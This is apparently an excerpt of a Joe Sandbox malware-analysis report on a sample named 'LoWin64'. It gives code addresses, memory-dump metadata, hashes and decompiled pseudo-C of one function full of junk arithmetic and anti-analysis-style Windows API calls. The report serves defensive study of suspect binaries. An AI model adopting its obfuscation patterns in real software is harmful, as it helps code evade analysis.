0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01e9fad035f9104323cbefbc0395eb78746f229c9933b9a1fbcb670c914ea3dd
Instruction ID: eea60049ebbddd897677721612a4b5a104bd1993e708e199a4f878ab2d60bcfb
Opcode Fuzzy Hash: 01e9fad035f9104323cbefbc0395eb78746f229c9933b9a1fbcb670c914ea3dd
Instruction Fuzzy Hash: AEF18E67F38A0666F7125F3CAD5A2BD22A17F2070DF780739C709E119ADF2DB5868244

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA79EA Relevance: 19.9, APIs: 13, Instructions: 408
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00007FF67FF6B1CA79EA(void* __eax, void* __edi, signed int __esi, void* __ebp, struct HWND__* __rdx, void* _a32, signed int _a144, signed long long _a152, void* _a160, void* _a168) {
				void* _t76;
				signed int _t181;
				void* _t203;
				signed int _t246;
				signed int _t276;
				signed int _t278;
				void* _t287;
				void* _t293;
				void* _t294;
				void* _t295;
				void* _t298;
				void* _t299;
				void* _t313;
				void* _t320;
				signed int _t323;
				void* _t330;
				signed int _t348;
				void* _t359;
				void* _t362;
				void* _t363;
				void* _t365;
				void* _t373;
				void* _t374;
				void* _t376;
				signed long long _t389;
				signed long long _t390;
				signed long long _t394;
				signed long long _t398;
				void* _t402;
				signed long long _t405;
				signed long long _t415;
				signed long long _t419;
				signed long long _t423;
				signed long long _t427;
				signed long long _t431;
				signed long long _t435;
				signed long long _t439;
				signed long long _t443;
				signed long long _t447;
				signed long long _t451;
				signed long long _t455;
				signed long long _t456;
				signed long long _t459;
				signed long long _t463;
				void* _t467;
				signed long long _t470;
				signed long long _t471;
				void* _t474;
				void* _t477;
				void* _t484;
				void* _t487;
				void* _t490;
				void* _t493;
				void* _t496;
				void* _t510;
				void* _t513;
				void* _t520;
				void* _t523;
				void* _t526;
				void* _t529;
				void* _t532;
				void* _t535;
				void* _t538;
				void* _t541;
				void* _t544;
				void* _t547;
				void* _t550;
				void* _t553;
				void* _t556;
				void* _t559;
				void* _t562;
				void* _t565;
				void* _t568;
				void* _t571;
				void* _t574;
				void* _t577;
				void* _t580;
				void* _t583;
				void* _t586;
				signed long long _t589;
				void* _t592;
				signed long long _t597;
				void* _t600;
				void* _t603;
				void* _t606;
				void* _t609;
				void* _t612;
				void* _t621;
				void* _t624;
				void* _t627;
				void* _t630;
				void* _t633;
				void* _t636;
				void* _t639;
				void* _t645;
				void* _t650;
				void* _t654;
				signed long long _t677;
				void* _t680;
				void* _t685;
				signed long long _t688;
				void* _t690;
				void* _t694;

				_t390 = _t389 | _t677;
				if (_t390 == 0x1d) goto 0xb1ca79d0;
				E00007FF67FF6B1D3ACF4(_t390);
				 *0xb1decf60 = r13d;
				r13d = 0x4b;
				_t293 = __esi - r13d;
				if (_t293 < 0) goto 0xb1ca7a0c;
				 *0xb1decf60 = _t680 + _t650;
				E00007FF67FF6B1D3ACF4(_t390);
				_push(0x8000007f);
				if (_t293 >= 0) goto 0xb1ca7a46;
				 *0xb1decf60 = _t685 + _t650;
				E00007FF67FF6B1D3ACF4(_t390);
				if (_t293 >= 0) goto 0xb1ca7a41;
				_t394 = ((_t390 & 0x8000007f) - _t650 | _t677) + _t650;
				_t294 = _t394 - 0x76;
				if (_t294 >= 0) goto 0xb1ca7a25;
				_t76 = E00007FF67FF6B1D3ACF4(_t394);
				if (_t294 >= 0) goto 0xb1ca7a57;
				_t398 = ((_t394 & 0x8000007f) - _t650 | _t677) + _t650;
				_t295 = _t398 - 0x23;
				if (_t295 < 0) goto 0xb1ca7a7c;
				_t690 = _t650;
				_pop(_t688);
				asm("str word [ecx+0x1454f11d]");
				 *0x1a =  *0x1a + _t76;
				 *0xb1decf60 = _t688;
				AnyPopup();
				IsZoomed(??);
				GetModuleHandleW(??);
				IsZoomed(??);
				 *0xb1decf60 = 0x24;
				GetModuleHandleW(??);
				asm("cmpsd");
				_push(_t690);
				asm("adc al, 0x0");
				E00007FF67FF6B1D3ACF4(_t398);
				if (_t295 >= 0) goto 0xb1ca7ac8;
				_t402 = ((_t398 & 0x8000007f) - _t688 | _t677) + _t688;
				if (_t402 - 0x33 > 0) goto 0xb1ca7ad2;
				if (0x20 - 0x26 < 0) goto 0xb1ca7ab1;
				 *0xc =  *0xc + spl;
				asm("invalid");
				asm("push es");
				_t405 = (_t402 - _t688 | _t677) + _t688;
				_t298 = _t405 - 0x69;
				if (_t298 >= 0) goto 0xb1ca7b2b;
				E00007FF67FF6B1D3ACF4(_t405);
				if (_t298 >= 0) goto 0xb1ca7afa;
				_t299 = ((_t405 & 0x8000007f) - _t688 | _t677) + _t688 - 0x44;
				if (_t299 == 0) goto 0xb1ca7b1f;
				E00007FF67FF6B1D3ACF4(((_t405 & 0x8000007f) - _t688 | _t677) + _t688);
				if (_t299 >= 0) goto 0xb1ca7b0e;
				 *0xb1decf60 = 0;
				goto 0xb1ca7b25;
				 *0xb1decf60 = _t688;
				 *0xb1decf60 = _t688;
				_t654 = 0xc + _t688;
				 *0xb1decf60 = 0xc;
				if (0xc - 0x11 < 0) goto 0xb1ca7ad7;
				 *0xb1decf60 = 0x48;
				asm("adc al, 0x0");
				_t415 = 0x14 + _t688;
				if (0x14 - 0x1d < 0) goto 0xb1ca7b47;
				AnyPopup();
				E00007FF67FF6B1D3ACF4(_t415);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b69;
				_t419 = ((_t415 & 0x8000007f) - _t688 | _t677) + _t688;
				asm("movsd xmm0, [0x116b57]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("comisd xmm0, xmm1");
				if (0x14 - 0x1d < 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(_t419);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b8e;
				_t423 = ((_t419 & 0x8000007f) - _t688 | _t677) + _t688;
				if (0x14 - 0x3b > 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(_t423);
				if (0x14 - 0x3b >= 0) goto 0xb1ca7ba2;
				_t427 = ((_t423 & 0x8000007f) - _t688 | _t677) + _t688;
				 *0xb1decf60 = 0;
				goto 0xb1ca7bcc;
				E00007FF67FF6B1D3ACF4(_t427);
				if (0x14 - 0x3b >= 0) goto 0xb1ca7bc2;
				_t431 = ((_t427 & 0x8000007f) - _t688 | _t677) + _t688;
				if (0x14 > 0) goto 0xb1ca7bcc;
				 *0xb1decf60 = _t688;
				E00007FF67FF6B1DA4020();
				E00007FF67FF6B1D3ACF4(_t431);
				if (0x14 >= 0) goto 0xb1ca7be1;
				_t435 = ((_t431 & 0x8000007f) - _t688 | _t677) + _t688;
				asm("movsd xmm6, [0x116f17]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x14 <= 0) goto 0xb1ca7d0d;
				E00007FF67FF6B1D3ACF4(_t435);
				if (0x14 >= 0) goto 0xb1ca7c0a;
				_t439 = ((_t435 & 0x8000007f) - _t688 | _t677) + _t688;
				if (0x14 - 0x20 > 0) goto 0xb1ca7cc2;
				E00007FF67FF6B1D3ACF4(_t439);
				if (0x14 - 0x20 >= 0) goto 0xb1ca7c22;
				_t443 = ((_t439 & 0x8000007f) - _t688 | _t677) + _t688;
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c55;
				E00007FF67FF6B1D3ACF4(_t443);
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c36;
				_t447 = ((_t443 & 0x8000007f) - _t688 | _t677) + _t688;
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c55;
				E00007FF67FF6B1D3ACF4(_t447);
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c4a;
				_t451 = ((_t447 & 0x8000007f) - _t688 | _t677) + _t688;
				goto 0xb1ca7ca8;
				E00007FF67FF6B1D3ACF4(_t451);
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c64;
				_t455 = ((_t451 & 0x8000007f) - _t688 | _t677) + _t688;
				if (0x14 - 0x7b > 0) goto 0xb1ca7c8a;
				E00007FF67FF6B1D3ACF4(_t455);
				_t456 = _t455 & 0x8000007f;
				if (0x14 >= 0) goto 0xb1ca7c78;
				_t459 = (_t456 - _t688 | _t677) + _t688;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x116b88]");
				if (0x14 <= 0) goto 0xb1ca7cae;
				GetDoubleClickTime();
				E00007FF67FF6B1D3ACF4(_t459);
				if (0x14 >= 0) goto 0xb1ca7c9f;
				_t463 = ((_t459 & 0x8000007f) - _t688 | _t677) + _t688;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebp;
				_t313 = r14d - 0x5c;
				if (_t313 < 0) goto 0xb1ca7c13;
				E00007FF67FF6B1D3ACF4(_t463);
				r14d = __esi;
				if (_t313 >= 0) goto 0xb1ca7cd4;
				_t467 = ((_t463 & 0x8000007f) - _t688 | _t677) + _t688;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t467);
				if (0x14 - 0x20 >= 0) goto 0xb1ca7cf3;
				_t470 = (_t467 - _t688 | _t677) + _t688;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x14;
				goto 0xb1ca7d58;
				E00007FF67FF6B1D3ACF4(_t470);
				r14d = __esi;
				_t471 = _t470 & 0x8000007f;
				if (0x14 >= 0) goto 0xb1ca7d1f;
				_t474 = (_t471 - _t688 | _t677) + _t688;
				if (0x14 - 0x1d <= 0) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t474) & r14d) >= 0) goto 0xb1ca7d34;
				_t477 = (_t474 - _t688 | _t677) + _t688;
				if (0x14 != 0x67) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t477) & r14d) >= 0) goto 0xb1ca7d49;
				_t320 = (_t477 - _t688 | _t677) + _t688 - 0x67;
				 *0xb1decf60 = 0;
				if (_t320 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d);
				if (_t320 >= 0) goto 0xb1ca7d7a;
				_t484 = (0x0000004d - _t688 | _t677) + _t688;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t320 > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(_t484);
				if (_t320 >= 0) goto 0xb1ca7da0;
				_t487 = (_t484 - _t688 | _t677) + _t688;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				IsIconic(__rdx);
				E00007FF67FF6B1D3ACF4(_t487);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dbd;
				_t490 = (_t487 - _t688 | _t677) + _t688;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(_t490);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dea;
				_t493 = (_t490 - _t688 | _t677) + _t688;
				asm("movsd xmm6, [0x116af6]");
				if (0x4d != 0x76) goto 0xb1ca7e39;
				_t323 = E00007FF67FF6B1D3ACF4(_t493) & r14d;
				if (_t323 >= 0) goto 0xb1ca7e07;
				_t496 = (_t493 - _t688 | _t677) + _t688;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t323 >= 0) goto 0xb1ca7e39;
				if ((E00007FF67FF6B1D3ACF4(_t496) & r14d) >= 0) goto 0xb1ca7e25;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4((_t496 - _t688 | _t677) + _t688);
				if (0x4d - 0x30 >= 0) goto 0xb1ca7e53;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(((_t496 - _t688 | _t677) + _t688 - _t688 | _t677) + _t688);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e72;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4((((_t496 - _t688 | _t677) + _t688 - _t688 | _t677) + _t688 - _t688 | _t677) + _t688);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e9a;
				 *0xb1decf60 = 0;
				asm("adc al, 0x0");
				_t510 = 0x15 + _t688;
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(_t510);
				if (0x15 - 0x18 >= 0) goto 0xb1ca7ecb;
				_t513 = (_t510 - _t688 | _t677) + _t688;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(_t513);
				if (0x15 - 0x4e >= 0) goto 0xb1ca7ee0;
				_t330 = (_t513 - _t688 | _t677) + _t688 - 0x65;
				if (_t330 > 0) goto 0xb1ca7f1b;
				if (_t330 == 0) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68);
				if (_t330 >= 0) goto 0xb1ca7f07;
				_t520 = (0x00000068 - _t688 | _t677) + _t688;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(_t520);
				if (0x68 - 0x65 >= 0) goto 0xb1ca7f2b;
				_t523 = (_t520 - _t688 | _t677) + _t688;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				if ((E00007FF67FF6B1D3ACF4(_t523) & r14d) >= 0) goto 0xb1ca7f44;
				_t526 = (_t523 - _t688 | _t677) + _t688;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				if ((E00007FF67FF6B1D3ACF4(_t526) & r14d) >= 0) goto 0xb1ca7f59;
				_t529 = (_t526 - _t688 | _t677) + _t688;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(_t529) & r14d) >= 0) goto 0xb1ca7f76;
				_t532 = (_t529 - _t688 | _t677) + _t688;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(_t532);
				if (0x68 - 0x15 >= 0) goto 0xb1ca7f94;
				_t535 = (_t532 - _t688 | _t677) + _t688;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(_t535) & r14d) >= 0) goto 0xb1ca7fa9;
				_t538 = (_t535 - _t688 | _t677) + _t688;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t538);
				if (0x68 - 0x13 >= 0) goto 0xb1ca7fc2;
				_t541 = (_t538 - _t688 | _t677) + _t688;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x68 - 0x13 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t541) & r14d) >= 0) goto 0xb1ca7fec;
				_t544 = (_t541 - _t688 | _t677) + _t688;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t544) & r14d) >= 0) goto 0xb1ca8005;
				_t547 = (_t544 - _t688 | _t677) + _t688;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t547) & r14d) >= 0) goto 0xb1ca8020;
				_t550 = (_t547 - _t688 | _t677) + _t688;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t550);
				_t348 = E00007FF67FF6B1D3ACF4(_t550) & r14d;
				if (_t348 >= 0) goto 0xb1ca8046;
				_t553 = (_t550 - _t688 | _t677) + _t688;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t348 != 0) goto 0xb1ca805e;
				if (_t348 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t688;
				E00007FF67FF6B1D3ACF4(_t553);
				if (_t348 >= 0) goto 0xb1ca807a;
				_t556 = (_t553 - _t688 | _t677) + _t688;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t556);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80a0;
				_t559 = (_t556 - _t688 | _t677) + _t688;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t559);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80d1;
				_t562 = (_t559 - _t688 | _t677) + _t688;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t562);
				if (0x68 - 0x13 >= 0) goto 0xb1ca80f7;
				_t565 = (_t562 - _t688 | _t677) + _t688;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t565);
				if (0x68 - 0x3f >= 0) goto 0xb1ca810c;
				_t568 = (_t565 - _t688 | _t677) + _t688;
				_t276 = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t568) & r14d) >= 0) goto 0xb1ca812d;
				_t571 = (_t568 - _t688 | _t677) + _t688;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t571) & r14d) >= 0) goto 0xb1ca8142;
				_t574 = (_t571 - _t688 | _t677) + _t688;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				_t181 = E00007FF67FF6B1D3ACF4(_t574);
				_t182 = _t181 & r14d;
				if ((_t181 & r14d) >= 0) goto 0xb1ca8157;
				_t577 = (_t574 - _t688 | _t677) + _t688;
				r8d = r15d;
				r8b = _t577 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d =  *((intOrPtr*)(_t690 + 0x20));
				r8d = _a144;
				E00007FF67FF6B1CB41F0(_t182, _t287, _t654,  *((intOrPtr*)(_t690 + 0x90)), 0x8000007f); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t276, _t654, 0, _t577, _t694), _t287,  *((intOrPtr*)(_t690 + 0x90)));
				 *0xb1decf60 = _t688;
				E00007FF67FF6B1D3ACF4(_t577);
				E00007FF67FF6B1D3ACF4(_t577);
				asm("push es");
				_t580 = (_t577 - _t688 | 0xffffff80) + _t688;
				asm("movsd xmm6, [0x11694a]");
				_t359 = _t580 - 5;
				if (_t359 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t580);
				if (_t359 >= 0) goto 0xb1ca81e3;
				_t583 = (_t580 - _t688 | 0xffffff80) + _t688;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t359 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t583);
				if (_t359 >= 0) goto 0xb1ca820e;
				_t586 = (_t583 - _t688 | 0xffffff80) + _t688;
				if (_t586 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t586);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t589 = (_t586 - _t688 | 0xffffff80) + _t688;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t589;
				 *0xb1decf60 = _t688;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t362 = r12d - 0x42;
				if (_t362 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t589);
				if (_t362 >= 0) goto 0xb1ca8274;
				_t592 = (_t589 - _t688 | 0xffffff80) + _t688;
				_t363 = _t592 - 0x2e;
				if (_t363 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t592);
				if (_t363 >= 0) goto 0xb1ca828f;
				_t278 = r15d & 0xffffff00 | (_t592 - _t688 | 0xffffff80) + _t688 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t203 = E00007FF67FF6B1D3ACF4((_t592 - _t688 | 0xffffff80) + _t688);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t278;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t278;
				 *0x6b =  *0x6b + _t203;
				_t597 = _a152 + _t688;
				_a152 = _t597;
				 *0xb1decf60 = _t597;
				_t365 = _t597 - 0x1f;
				if (_t365 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t688;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t597 =  *_t597 | _t597;
				if (_t365 >= 0) goto 0xb1ca8308;
				_t600 = (_t597 - _t688 | 0xffffff80) + _t688;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t365 != 0) goto 0xb1ca8318;
				if (_t365 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t600) & r14d) >= 0) goto 0xb1ca8333;
				_t603 = (_t600 - _t688 | 0xffffff80) + _t688;
				if (_t603 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t603) & r14d) >= 0) goto 0xb1ca835e;
				_t606 = (_t603 - _t688 | 0xffffff80) + _t688;
				if (_t606 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t606);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t609 = (_t606 - _t688 | 0xffffff80) + _t688;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t609);
				if (_t609 - 0x34 >= 0) goto 0xb1ca8397;
				_t612 = (_t609 - _t688 | 0xffffff80) + _t688;
				_t373 = _t612 - 0x1f;
				if (_t373 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t612);
				if (_t373 >= 0) goto 0xb1ca83ac;
				_t374 = (_t612 - _t688 | 0xffffff80) + _t688 - 4;
				if (_t374 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t612 - _t688 | 0xffffff80) + _t688);
				if (_t374 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t376 = r13d - 0x54;
				if (_t376 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t376 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t688;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t688;
				IsIconic(??);
				asm("adc al, 0x0");
				_t621 = 0x50 + _t688;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t621);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t624 = (_t621 - _t688 | 0xffffff80) + _t688;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t624);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t627 = (_t624 - _t688 | 0xffffff80) + _t688;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t627);
				E00007FF67FF6B1D3ACF4(_t627);
				E00007FF67FF6B1D3ACF4(_t627);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
